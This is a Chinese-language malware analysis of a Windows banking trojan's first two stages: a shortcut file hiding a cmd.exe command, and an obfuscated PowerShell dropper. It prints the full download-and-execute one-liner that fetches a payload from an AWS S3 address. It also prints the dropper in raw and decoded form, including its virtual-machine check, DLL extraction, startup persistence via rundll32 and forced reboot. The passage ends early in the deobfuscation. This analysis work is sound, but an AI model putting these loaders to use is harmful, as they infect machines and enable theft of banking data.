一、概述
在本文中,主要针对Windows的某银行恶意软件进行分析,我们集中分析该恶意软件的前两个阶段。第一阶段是Windows快捷方式文件(LNK文件),在运行快捷方式之后,将会投放PowerShell脚本(使用了ISESteriods进行模糊处理)并执行。我们对这一PowerShell文件进行了详细分析。
大家可以在这里下载本文涉及的样本文件,其中也包括所有投放的文件。
二、第一阶段:快捷方式
在这一木马中,快捷方式使用了一个通用的图标,其目标指向Windows命令行cmd.exe。下面是该快捷方式指向的完整目标,请大家注意在该文本末尾存在的空格。
C:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/
我们将对其中的标志和变量进行分析,首先从标志开始。
2.1 标志
在这里,组合使用了标志/V和/C。在Windows Shell中,可以使用/?标志显示完整的使用说明。完整命令如下所示。
cmd.exe /?
在使用说明中,可以找到这两个标志的相关信息,如下所示。
/C Carries out the command specified by string and then terminates (执行字符串中指定的命令,然后终止。) /V:ON Enable delayed environment variable expansion using ! as the delimiter. For example, /V:ON would allow !var! to expand the variable var at execution time. The var syntax expands variables at input time, which is quite a different thing when inside of a FOR loop. (启用使用!走位分隔符的延迟环境变量扩展。例如:/V:ON将允许!var!在执行时扩展变量var。var语法在输入时扩展变量,这在FOR循环中是完全不同的。)
在这里,需要注意由命令分隔符“&&”分隔的多个命令。
在解析并执行命令行参数后,将终止已经启动的Shell。延迟的环境变量扩展允许对目标进行模糊处理,因为变量首先被设置,然后会被扩展。
2.2 变量
变量之间以百分号分隔,多个命令会使用两个符号来连接。关键字set用于声明变量并为其设置值。如下所示,命令将被拆分,从而使得每个命令都新起一行。
set x4OAGWfxlES02z6NnUkK=2whttpr0 && set L1U03HmUO6B9IcurCNNlo4=.com && echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/
前两个变量(x4OAGWfxlES02z6NnUkK和L1U03HmUO6B9IcurCNNlo4)用于在最后一行中启动新进程。其中的:~2,4部分(在最后一行x4OAGWfxlES02z6NnUkK后面)用于从索引2中选择长度为4的子字符串(包含起始索引)。在这种情况下,值2whttpr0将被转换为http。反混淆后的URL如下所示。
· https://get.adobe.com/br/flashplayer/
如果让用户使用默认Web浏览器打开Adobe Flash播放器的官方网站,这一行为本身并不是恶意的,这也意味着恶意软件会执行比这一行为更多的功能。在目标末尾的位置,附加的空格数量是奇数个,我们可以使用十六进制编辑器打开快捷方式。这表明,其实目标中还存在更多的内容,只是不能直接显示出来。
2.3 点和空字节
我们发现,文本中存在“点”符号,在十六进制编辑器中表示空字节。我们可以使用另一个不执行此操作的编辑器,或者使用文本中未出现的字符替换所有空字节。在这种情况下,我们使用了^符号。在复制数据后,所选字符可以替换为空,并显示出原始文本。
2.4 完整的快捷方式目标
我们使用十六进制编辑器,得到了如下结果。
C:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/ &&set aZM4j3ZhPLBn9MpuxaO= -win 1 &&set MlyavWfE=ndows&&set jA8Axao1xcZ=iEx&&set WMkgA3uXa1pXx=tRi&&set KNhGmAqHG5=bJe&&set 4kxhaz6bqqKC=LOad&&set rwZCnSC7T=nop&&set jcCvC=NEw&&set ZTVZ=wEbc&&set DABThzRuTT2hYjVOy=nt).dow&&set cwdOsPOdA08SZaXVp1eFR=t NeT.&&set Rb=Ers&&set j4HfRAqYXcRZ3R=hEll&&set Kpl01SsXY5tthb1=.bmp&&set vh7q6Aq0zZVLclPm=\v1.0\&&set 2Mh=pOw&&set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%&&@echo off && %SystemDrive% && cd\ && cd %SystemRoot%\System32 &&echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\Internet Explorer\iexplore.exe
当所有命令都在同一行中时,我们就很难阅读并理解其具体功能。于是,我们创建了一个类似于字典的东西,从而可以更容易地阅读并重构。我们创建的字典如下。
x4OAGWfxlES02z6NnUkK=2whttpr0 L1U03HmUO6B9IcurCNNlo4=.com %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/ aZM4j3ZhPLBn9MpuxaO= -win 1 MlyavWfE=ndows jA8Axao1xcZ=iEx WMkgA3uXa1pXx=tRi KNhGmAqHG5=bJe 4kxhaz6bqqKC=LOad rwZCnSC7T=nop jcCvC=NEw ZTVZ=wEbc DABThzRuTT2hYjVOy=nt).dow cwdOsPOdA08SZaXVp1eFR=t NeT. Rb=Ers j4HfRAqYXcRZ3R=hEll Kpl01SsXY5tthb1=.bmp vh7q6Aq0zZVLclPm=\v1.0\ 2Mh=pOw 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1% @echo off %SystemDrive% cd\ cd %SystemRoot%\System32 echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hY
我们将其进行组合,最后获得了易于阅读的命令。命令具体如下。
echo iEx(iEx(NEw-obJect NeT.wEbcLient).downLOadStRiNG('https://s3-eu-west-1.amazonaws.com/juremasobra2/jureklarj934t9oi4.bmp')"); | WindowspOwErshEll\v1.0\pOwErshEll -nop -win 1 --%ProgramFiles%\Internet Explorer\iexplore.exe
该快捷方式最终会从Amazon AWS服务器下载一个位图文件(.BMP),然后使用PowerShell打开该服务器。在PowerShell进程启动时,提供了两个参数。第一个参数是-nop,其含义是NoProfile(无配置文件),可以避免使用任何配置文件。第二个参数是-win 1,这个参数代表WindowStyle,其值1表示隐藏窗口样式,这意味着该窗口将不会显示给用户。
三、第二阶段:ISESteriods
快捷方式下载的位图是PowerShell脚本。完整的脚本如下所示。
${____/===\/=====\/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAHMAMwAtAGUAdQAtAHcAZQBzAHQALQAxAC4AYQBtAGEAegBvAG4AYQB3AHMALgBjAG8AbQAvAGoAdQByAGUAbQBhAHMAbwBiAHIAYQAyAC8AaQBtAGEAZwBlADIALgBwAG4AZwA==='))) _.dll = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XwAuAGQAbABsAA=='))) _.prx = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XwAuAHAAcgB4AA=='))) MaxNotify = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBhAHgATgBvAHQAaQBmAHkA'))) function _/=\/\/===\/==\___ { ${_/\___/=\_/\/\__/} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model if (${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBpAHIAdAB1AGEAbABCAG8AeAA='))) -or ${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBNAHcAYQByAGUAIABWAGkAcgB0AHUAYQBsACAAUABsAGEAdABmAG8AcgBtAA=='))) -or ${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBpAHIAdAB1AGEAbAAgAE0AYQBjAGgAaQBuAGUA'))) -or ${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABWAE0AIABkAG8AbQBVAA==')))) { return "Y" } else { return "N" } } function ____/\__/===\_/=\/ { try { ${___/\_/=\_/=\_/\/} = Get-Random -Minimum 1 -Maximum 9 ${_/\/\_/\/\_/=\/\/} = "" For (${/==\/\___/\_/\/==}=0; ${/==\/\___/\_/\/==} -le ${___/\_/=\_/=\_/\/}; ${/==\/\___/\_/\/==}++) { qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cQB3AGUAcgB0AHkAdQBpAG8AcABsAGsAagBoAGcAZgBkAHMAYQB6AHgAYwB2AGIAbgBtAFEAVwBFAFIAVABZAFUASQBPAFAAQQBTAEQARgBHAEgASgBLAEwAWgBYAEMAVgBCAE4ATQA='))) nomeRandomico_getrandom = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1) ${_/\/\_/\/\_/=\/\/} = ${_/\/\_/\/\_/=\/\/}+caractereRandomico } return ${_/\/\_/\/\_/=\/\/} } finally{} } function __/====\___/=\_/\_(${___/\/\_/\_/=\__/\}, ${___/==\/=\/=\____/}) { ${/=\_/\/====\/\_/\} = New-Object $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBVAHIAaQA='))) $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAC8AXAAvAFwAXwAvAFwAXwAvAD0AXABfAF8ALwBcAH0A'))) ${/=\/===\_/\/\_/\_} = [System.Net.HttpWebRequest]::Create(${/=\_/\/====\/\_/\}) ${/=\/===\_/\/\_/\_}.set_Timeout(15000) ${/=\/====\__/==\__} = ${/=\/===\_/\/\_/\_}.GetResponse() ${/=\_/==\__/\__/\_} = [System.Math]::Floor(${/=\/====\__/==\__}.get_ContentLength()/1024) ${_/===\/=\_/=\___/} = ${/=\/====\__/==\__}.GetResponseStream() ${__/====\__/\/\__/} = New-Object -TypeName System.IO.FileStream -ArgumentList ${___/==\/=\/=\____/}, Create ${/=\/=\/==\_/\/=\_} = new-object byte[] 10KB ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) ${/==\_/===\/\/=\/\} = ${_/===\_/=\/\/===\} while (${_/===\_/=\/\/===\} -gt 0) { ${__/====\__/\/\__/}.Write(${/=\/=\/==\_/\/=\_}, 0, ${_/===\_/=\/\/===\}) ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) ${/==\_/===\/\/=\/\} = ${/==\_/===\/\/=\/\} + ${_/===\_/=\/\/===\} } ${__/====\__/\/\__/}.Flush() ${__/====\__/\/\__/}.Close() ${__/====\__/\/\__/}.Dispose() ${_/===\/=\_/=\___/}.Dispose() return "Y" } function _____/==\_/=\_/=== { Param([string]${_/=====\/==\/\___/},[string]${___/\____/\_/=\/\_}); try{ ${_/\/=\/\/===\/\/\} = New-Object -ComObject WScript.Shell ${/=\/=\/\/=\_/=\__} = ${_/\/=\/\/===\/\/\}.CreateShortcut(${_/=====\/==\/\___/}) ${/=\/=\/\/=\_/=\__}.TargetPath = 'powershell' ${/=\/=\/\/=\_/=\__}.Arguments = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAC8AXABfAF8AXwBfAC8AXABfAC8APQBcAC8AXABfAH0A'))) ${/=\/=\/\/=\_/=\__}.WorkingDirectory = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXABTAHkAcwB0AGUAbQAzADIA'))) ${/=\/=\/\/=\_/=\__}.WindowStyle = 7 ${/=\/=\/\/=\_/=\__}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA=='))) ${/=\/=\/\/=\_/=\__}.Save() }finally{} } function _/=\/\_/\/===\_/== { try { ${_/======\_/\/=\/\} = New-Object System.Threading.Mutex($false, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('NAA0ADQANAA0ADQANAA0ADQANAA0ADQA')))) return ${_/======\_/\/=\/\}.WaitOne() }finally{} } if (_/=\/\/===\/==\___ -eq "N") { if (_/=\/\_/\/===\_/==) { stop-process -name wmplayer ${___/\/===\____/\/} = ${env:APPDATA}+"\" ${/=\______/=\/==\/} = ____/\__/===\_/=\/ ${/===\/=\/\_/=\/==} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB0AHgAdAA='))) ${_/=\/===\/\___/\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB2AGIAcwA='))) ${/=\/==\__/\_/\__/} = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${/===\/=\/\_/=\/==} ${/=\__/=\___/===\_} = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${_/=\/===\/\___/\_} sleep -s 1 ${/===\/\_/====\/=\} = $false while(${/===\/\_/====\/=\} -ne $true) { __/====\___/=\_/\_ ${____/===\/=====\/} ${/=\/==\__/\_/\__/}; sleep -s 1 if ((gi ${/=\/==\__/\_/\__/}).length -gt 2048kb) { ${/===\/\_/====\/=\} = $true ${_/=\_/==\/=\__/\_} = "Y" } else { ${_/=\_/==\/=\__/\_} = "N" } Write-Host ${/===\/\_/====\/=\} } ${_/=\_/==\/=\__/\_} = "Y" if (${_/=\_/==\/=\__/\_} -eq "Y") { ${/===\__/\/==\_/==} = ${___/\/===\____/\/}+${/=\______/=\/==\/} +$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB6AGkAcAA='))) ren -Path $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AC8APQBcAC8APQA9AFwAXwBfAC8AXABfAC8AXABfAF8ALwB9AA=='))) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AC8APQA9AD0AXABfAF8ALwBcAC8APQA9AFwAXwAvAD0APQB9AA=='))); ${/=\_/=\_/===\___/} = New-Object -ComObject shell.application ${_/\___/\_/======\} = ${/=\_/=\_/===\___/}.NameSpace(${/===\__/\/==\_/==}) foreach (${_/====\/\_/\/\__/} in ${_/\___/\_/======\}.items()) { ${/=\_/=\_/===\___/}.Namespace(${___/\/===\____/\/}).CopyHere(${_/====\/\_/\/\__/}) } sleep -s 3 ${_/\_/=\_/=\_/\___} = ____/\__/===\_/=\/ ${/=\_/===\/\_/===\} = ${_/\_/=\_/=\_/\___} + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBwAHIAeAA='))) ${_/\_/=\_/=\_/\___} = ${_/\_/=\_/=\_/\___} +$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBkAGwAbAA='))) ren -Path $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwALwBcAF8ALwBcAF8ALwA9AFwALwA9AD0APQA9AH0A'))) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwAXwAvAD0AXABfAC8APQBcAF8ALwBcAF8AXwBfAH0A'))); ren -Path $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwAXwBfAF8AXwAvAD0AXAAvAFwAXwAvAD0APQA9AH0A'))) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsALwA9AFwAXwAvAD0APQA9AFwALwBcAF8ALwA9AD0APQBcAH0A'))); sleep -s 3 cd $env:APPDATA ; shellObjeto = New-Object -Com WScript.Shell ${_/=\/\/\/=\__/\/=} = shellObjeto.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA=')))); del ${_/=\/\/\/=\__/\/=}\*.vbs del ${_/=\/\/\/=\__/\/=}\*.lnk ${/=\______/\_/\_/=} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBkACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAByAHUAbgBkAGwAbAAzADIALgBlAHgAZQAgACQAewBfAC8AXABfAC8APQBcAF8ALwA9AFwAXwAvAFwAXwBfAF8AfQAsACAAJAB7AF8AXwBfAC8APQBcAC8AXAAvAFwAXwBfAF8AXwBfAC8APQB9AA=='))) ${___/=\/==\/\_____} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8ALwA9AFwALwBcAC8AXAAvAD0AXABfAF8ALwBcAC8APQB9AFwAJAB7AC8APQBcAF8ALwA9AD0APQBcAC8AXABfAC8APQA9AD0AXAB9AC4AbABuAGsA'))) _____/==\_/=\_/=== ${___/=\/==\/\_____} ${/=\______/\_/\_/=} sleep -s 40 Restart-Computer -Force } } }
3.1 重构前处理
在代码中,我们发现使用了模糊处理。函数和变量名称已被模糊后的名称替换。这些混淆后的名称由字符串_ / \和=组成。代码中的字符串已经使用Base64编码方式进行编码。
至此,我们可以对这些字符串进行替换,并将此作为重构脚本前的准备工作。下面是替换字符串后得到的代码。
${____/===\/=====\/} = $('https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png') _.dll = $('_.dll') _.prx = $('_.prx') MaxNotify = $('MaxNotify') function _/=\/\/===\/==\___ { ${_/\___/=\_/\/\__/} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model if (${_/\___/=\_/\/\__/} -eq $('VirtualBox') -or ${_/\___/=\_/\/\__/} -eq $('VMware Virtual Platform') -or ${_/\___/=\_/\/\__/} -eq $('Virtual Machine') -or ${_/\___/=\_/\/\__/} -eq $('HVM domU') { return "Y" } else { return "N" } } function ____/\__/===\_/=\/ { try { ${___/\_/=\_/=\_/\/} = Get-Random -Minimum 1 -Maximum 9 ${_/\/\_/\/\_/=\/\/} = "" For (${/==\/\___/\_/\/==}=0; ${/==\/\___/\_/\/==} -le ${___/\_/=\_/=\_/\/}; ${/==\/\___/\_/\/==}++) { qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM = $('qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM') nomeRandomico_getrandom = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1) ${_/\/\_/\/\_/=\/\/} = ${_/\/\_/\/\_/=\/\/}+caractereRandomico } return ${_/\/\_/\/\_/=\/\/} } finally{} } function __/====\___/=\_/\_(${___/\/\_/\_/=\__/\}, ${___/==\/=\/=\____/}) { ${/=\_/\/====\/\_/\} = New-Object $('System.uri') $ExecutionContext.InvokeCommand.ExpandString($S{___/\/\_/\_/=\__/\}) ${/=\/===\_/\/\_/\_} = [System.Net.HttpWebRequest]::Create(${/=\_/\/====\/\_/\}) ${/=\/===\_/\/\_/\_}.set_Timeout(15000) ${/=\/====\__/==\__} = ${/=\/===\_/\/\_/\_}.GetResponse() ${/=\_/==\__/\__/\_} = [System.Math]::Floor(${/=\/====\__/==\__}.get_ContentLength()/1024) ${_/===\/=\_/=\___/} = ${/=\/====\__/==\__}.GetResponseStream() ${__/====\__/\/\__/} = New-Object -TypeName System.IO.FileStream -ArgumentList ${___/==\/=\/=\____/}, Create ${/=\/=\/==\_/\/=\_} = new-object byte[] 10KB ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) ${/==\_/===\/\/=\/\} = ${_/===\_/=\/\/===\} while (${_/===\_/=\/\/===\} -gt 0) { ${__/====\__/\/\__/}.Write(${/=\/=\/==\_/\/=\_}, 0, ${_/===\_/=\/\/===\}) ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) ${/==\_/===\/\/=\/\} = ${/==\_/===\/\/=\/\} + ${_/===\_/=\/\/===\} } ${__/====\__/\/\__/}.Flush() ${__/====\__/\/\__/}.Close() ${__/====\__/\/\__/}.Dispose() ${_/===\/=\_/=\___/}.Dispose() return "Y" } function _____/==\_/=\_/=== { Param([string]${_/=====\/==\/\___/},[string]${___/\____/\_/=\/\_}); try{ ${_/\/=\/\/===\/\/\} = New-Object -ComObject WScript.Shell ${/=\/=\/\/=\_/=\__} = ${_/\/=\/\/===\/\/\}.CreateShortcut(${_/=====\/==\/\___/}) ${/=\/=\/\/=\_/=\__}.TargetPath = 'powershell' ${/=\/=\/\/=\_/=\__}.Arguments = $ExecutionContext.InvokeCommand.ExpandString('$S{___/\/\_/\_/=\__/\}') ${/=\/=\/\/=\_/=\__}.WorkingDirectory = $('%SystemRoot%\System32') ${/=\/=\/\/=\_/=\__}.WindowStyle = 7 ${/=\/=\/\/=\_/=\__}.IconLocation = $('%ProgramFiles%\Internet Explorer\iexplore.exe,1') ${/=\/=\/\/=\_/=\__}.Save() }finally{} } function _/=\/\_/\/===\_/== { try { ${_/======\_/\/=\/\} = New-Object System.Threading.Mutex($false, $('444444444444')) return ${_/======\_/\/=\/\}.WaitOne() }finally{} } if (_/=\/\/===\/==\___ -eq "N") { if (_/=\/\_/\/===\_/==) { stop-process -name wmplayer ${___/\/===\____/\/} = ${env:APPDATA}+"\" ${/=\______/=\/==\/} = ____/\__/===\_/=\/ ${/===\/=\/\_/=\/==} = $('.txt') ${_/=\/===\/\___/\_} = $('.vbs') ${/=\/==\__/\_/\__/} = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${/===\/=\/\_/=\/==} ${/=\__/=\___/===\_} = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${_/=\/===\/\___/\_} sleep -s 1 ${/===\/\_/====\/=\} = $false while(${/===\/\_/====\/=\} -ne $true) { __/====\___/=\_/\_ ${____/===\/=====\/} ${/=\/==\__/\_/\__/}; sleep -s 1 if ((gi ${/=\/==\__/\_/\__/}).length -gt 2048kb) { ${/===\/\_/====\/=\} = $true ${_/=\_/==\/=\__/\_} = "Y" } else { ${_/=\_/==\/=\__/\_} = "N" } Write-Host ${/===\/\_/====\/=\} } ${_/=\_/==\/=\__/\_} = "Y" if (${_/=\_/==\/=\__/\_} -eq "Y") { ${/===\__/\/==\_/==} = ${___/\/===\____/\/}+${/=\______/=\/==\/} +$('.zip') ren -Path $ExecutionContext.InvokeCommand.ExpandString('${/=\/==\__/\_/\__/}') -NewName $ExecutionContext.InvokeCommand.ExpandString('${/===\__/\/==\_/==}'); ${/=\_/=\_/===\___/} = New-Object -ComObject shell.application ${_/\___/\_/======\} = ${/=\_/=\_/===\___/}.NameSpace(${/===\__/\/==\_/==}) foreach (${_/====\/\_/\/\__/} in ${_/\___/\_/======\}.items()) { ${/=\_/=\_/===\___/}.Namespace(${___/\/===\____/\/}).CopyHere(${_/====\/\_/\/\__/}) } sleep -s 3 ${_/\_/=\_/=\_/\___} = ____/\__/===\_/=\/ ${/=\_/===\/\_/===\} = ${_/\_/=\_/=\_/\___} + ('.prx') ${_/\_/=\_/=\_/\___} = ${_/\_/=\_/=\_/\___} + ('.dll') ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\/\_/\_/=\/====}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\_/=\_/=\_/\___}'); ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\____/=\/\_/===}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${/=\_/===\/\_/===\}'); sleep -s 3 cd $env:APPDATA ; shellObjeto = New-Object -Com WScript.Shell ${_/=\/\/\/=\__/\/=} = shellObjeto.SpecialFolders.Item($('startup'); del ${_/=\/\/\/=\__/\/=}\*.vbs del ${_/=\/\/\/=\__/\/=}\*.lnk ${/=\______/\_/\_/=} = $ExecutionContext.InvokeCommand.ExpandString('cd $env:APPDATA; Start-Process rundll32.exe ${_/\_/=\_/=\_/\___}, ${___/=\/\/\_____/=}') ${___/=\/==\/\_____} = $ExecutionContext.InvokeCommand.ExpandString('${_/=\/\/\/=\__/\/=}\${/=\_/===\/\_/===\}.lnk') _____/==\_/=\_/=== ${___/=\/==\/\_____} ${/=\______/\_/\_/=} sleep -s 40 Restart-Computer -Force } } }
在得到上面的代码后,我们就可以开始重构过程了。接下来,代码中的重点部分将会被突出显示和重构。
3.2 重构
在这一小节中,我们主要关注如何重构,以及为什么使用这样的重构方式。在下面给出的代码中,我们命名了多个虚拟化系统。
function _/=\/\/===\/==\___ { ${_/\___/=\_/\/\__/} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model if (${_/\___/=\_/\/\__/} -eq $('VirtualBox') -or ${_/\___/=\_/\/\__/} -eq $('VMware Virtual Platform') -or ${_/\___/=\_/\/\__/} -eq $('Virtual Machine') -or ${_/\___/=\_/\/\__/} -eq $('HVM domU') { return "Y" } else { return "N" } }
变量_/\___/=\_/\/\__/中包含关于当前系统的信息,因此我们可以将它重命名为computerSystem。函数_/=\/\/===\/==\___将会检查当前环境是否为虚拟环境,因此我们将其重命名为vmCheck。重构后代码如下。
function vmCheck { ${computerSystem} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model if (${computerSystem} -eq $('VirtualBox') -or ${computerSystem} -eq $('VMware Virtual Platform') -or ${computerSystem} -eq $('Virtual Machine') -or ${computerSystem} -eq $('HVM domU') { return "Y" } else { return "N" } }
第二个函数看起来像是随机字符串生成器,因为其中包含一个字符串,它由一个公共键盘布局组成。
